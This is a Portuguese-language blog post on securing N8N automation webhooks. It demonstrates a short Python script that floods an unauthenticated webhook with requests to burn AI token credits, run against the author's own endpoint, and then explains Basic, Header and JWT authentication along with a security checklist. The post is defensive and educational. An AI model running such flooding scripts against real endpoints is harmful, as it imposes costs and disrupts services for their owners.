Olá pessoal, tudo certo?
No post de hoje eu resolvi trazer uma prática muito importante para quem utiliza fluxos de automações no N8N com gatilhos de Webhooks, que é a preocupação e priorização com a parte de segurança na hora de implementá-los em seus fluxos.
As ferramentas de low-code e no-code são muito boas e interessantes para tirar a fricção de conhecimentos técnicos muito avançados em programação e desenvolvimento de software e permitem com que várias pessoas com pouco (ou nenhum) conhecimento da área consiga desenvolver soluções inovadoras e incríveis, apenas “arrastando” e configurando componentes. Por outro lado, essa falta de conhecimento e experiência, pode levar a problemas seríssimos de segurança e gerar prejuízos incalculáveis – tanto na questão de vazamento de dados indesejados, quanto financeiros (direta ou indiretamente).
Simulação de um Caso Real
Imagine a seguinte situação:
- Desenvolvemos uma integração com o N8N, que receba uma requisição via Webhook para iniciar um Fluxo de Automação
- Ao executar o Fluxo, um dos passos do N8N será utilizar um node de AI Agent, que irá simplesmente receber uma instrução fixa e retornar uma poesia ou a geração de algum conteúdo pré-determinado (por exemplo).

O nosso Webhook em questão está configurado da seguinte maneira:

HTTP Method: POST
Authentication: None
Respond: Immediately
Dessa forma, basta um bot executar N vezes a chamada para esse Webhook e nosso Fluxo de Automação iniciará, chamando N vezes o AI Agent configurado e consumindo deliberadamente muitos tokens.
Um simples script em Python é capaz de realizar essa ação:
import requests
import sys
def main():
if len(sys.argv) < 3:
print("Usage: python attack.py <number_of_requests> <url>")
sys.exit(1)
try:
num_requests = int(sys.argv[1])
except ValueError:
print("Please provide a valid integer for the number of requests.")
sys.exit(1)
url = str(sys.argv[2])
execute_attack(num_requests, url)
def execute_attack(num_requests, url):
print(f"--- Starting attack on {url} with {num_requests} requests ---")
headers = {"Content-Type": "application/json"}
payload = {"message": "This is a test attack"}
for i in range(num_requests):
print(f"Sending request {i + 1}...")
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
print(f"Request {i + 1}/{num_requests} - Status: {response.status_code}")
try:
print(f"Response: {response.json()}")
except ValueError:
print("Response is not in JSON format.")
except requests.RequestException as e:
print(f"Request {i + 1} failed: {e}")
if __name__ == "__main__":
main()
python attack.py 30 https://n8n.progtech.com.br/webhook-test/0e6ed732-f3ed-42ae-a26d-ca61d2a7e68a
Ao executar o script, imediatamente o Fluxo de Automação será “disparado” 30 vezes seguidamente, sem nenhum tipo de impedimento.

E analisando as requisições que foram feitas para a API do Google Gemini, utilizando minhas credenciais, temos o seguinte gráfico:

A quantidade de tokens utilizada nessas 30 chamadas estão na imagem abaixo também:

No caso do exemplo acima, estou utilizando um modelo gratuito do Google Gemini, coloquei uma quantidade máxima de tokens gerados por execução do Fluxo e rodei “apenas” um bot para realizar 30 execuções.
Consegue visualizar claramente o risco e o prejuízo que isso poderia ocasionar com um sistema em produção?
Tipos de Autenticação de Webhooks no N8N
Abaixo, explico um pouco melhor sobre os 3 (três) tipos de autenticação suportados pelos webhooks do N8N, os prós e contras de cada um deles e situações em que são melhor aplicados.
Basic Auth
O que é:
Usuário e senha codificados em Base64 no header Authorization com o esquema Basic.
Authorization: Basic base64(username:password)
Pra que serve:
Controlar acesso simples entre sistemas quando você confia no cliente e quer algo rápido e fácil de implementar.
Prós
- Simples (suporte nativo em quase todo cliente/servidor HTTP).
- Bom para cenários internos/legados (painéis administrativos, ferramentas internas).
Contras
- Credenciais “long lived” (se vazar, acesso total).
- Ruim para rotacionar/escopar permissões.
- Em webhooks, não autentica conteúdo e nem previne replays.
Use quando
- Trafega sempre via HTTPS.
- Integrações internas/low-risk onde é aceitável armazenar usuário/senha (recomendado uso de Vault para isso).
- Endpoints protegidos por gateway ou VPN.
Como implementar no N8N
- Escolher o tipo de autenticação como: Basic Auth.

- Criar uma credencial e preencher a informação de User e Password.

Pronto. Agora basta utilizar a autenticação correta no seu client que estiver chamando o Webhook.
Header Auth (API Key / Token no Header)
O que é:
Enviar um token secreto (chave de API ou bearer token opaco) num header da requisição – padronizado com Authorization: Bearer <token> ou personalizado, ex: X-API-Key: <token>.
Authorization: Bearer sk_live_abc123...
# ou
X-API-Key: abc123...
Pra que serve:
Dar acesso com um segredo único por cliente/integração, geralmente com escopos e limitações.
Prós
- Rotação fácil (regerar a chave resolve).
- Pode ter escopos/quotas por chave.
- Mais prático do que usuário/senha.
Contras
- Ainda é um segredo compartilhado (se vazar, acesso total até revogar).
- Não traz verificação de integridade do payload (a não ser que você assine à parte).
Use quando
- APIs entre serviços/terceiros com múltiplas integrações (uma chave por cliente).
- Você precisa revogar/rotacionar frequentemente.
- Combine com HMAC de payload para webhooks.
Como implementar no N8N
- Escolher o tipo de autenticação como: Header Auth.

- Criar uma credencial e preencher os dados de Name e Value. Exemplo:
Name: X-API-Key
Value: abc123

Pronto. Agora basta utilizar a autenticação correta no seu client que estiver chamando o Webhook, passando o dados da no header (cabeçalho) da requisição.
JWT Auth (JSON Web Token Authentication)
O que é:
Um token assinado (HS256 com segredo ou RS256 com par de chaves) que carrega claims (sub, exp, scope, etc). Vai no header da requisição Authorization: Bearer <jwt>.
Authorization: Bearer eyJhGciOiJSUzI1nR5cCI6IkpxVxCJ9...
Pra que serve:
Autenticação stateless com expiração embutida e metadados do usuário/app. O servidor valida assinatura e claims sem precisar buscar estado no banco de dados.
Prós
- Expiração (exp) e escopos no próprio token.
- Stateless (menos hits em banco/cache para sessão).
- Com RS256, você pode distribuir a chave pública e girar chaves com JWKS.
Contras
- Mais complexo (giro de chaves, relógio/clock skew, validação de audience/issuer).
- Se assinado com segredo compartilhado (HS256), todos que têm o segredo conseguem emitir tokens (prefira RS256 entre organizações).
- Revogação antes do exp exige lista de revogação/short TTL.
Use quando
- Serviços multi-tenant/federados e SSO (IdP -> API).
- Precisa escopos finos e TTL curto sem state no servidor.
- Comunicação entre microsserviços via gateway/IdP (OAuth2/OIDC issuing JWTs).
Como implementar no N8N
- Escolher o tipo de autenticação como: JWT Auth.

- Criar uma credencial e preencher os dados de Secret. Esse valor deve ser o mesmo que foi usado para a geração do JWT com o payload das informações.

Pronto. Agora basta utilizar a autenticação correta no seu client que estiver chamando o Webhook, passando o dados da no header (cabeçalho) da requisição.
Bom, é isso. Essas configurações descritas acima já basta para que você tenha um pouco mais de segurança nos seus fluxos de automação. Mas não se limite apenas a elas, existem várias outras formas de melhorar a segurança dos seus endpoints dos Webhooks e todas elas sempre são bem-vindas para evitar surpresas desagradáveis no seu sistema.
Como boas práticas extras, deixo abaixo um checklist rápido:
- Sempre utilizar HTTPS;
- Rotacione segredos/chaves de tempos em tempos;
- Prefira TTL curto para os tokens expirarem;
- Em JWT: valide assinatura, iss, aud, exp, nbf; para clock skew, aceita +ou- 1 a 2 minutos;
- Guarde segredos em um vault (Secrets Manager, KMS, etc);
- Rate limit + idempotency keys em endpoints que criam recursos;
- Para webhooks: verifique assinatura no corpo bruto, cheque timestamp, dedupe por event_id/jti.
- Observabilidade: logue kid, iss, aud e o fingerprint do token, nunca o token inteiro.
Use e abuse de práticas de segurança.
Abraço,
Até a próxima.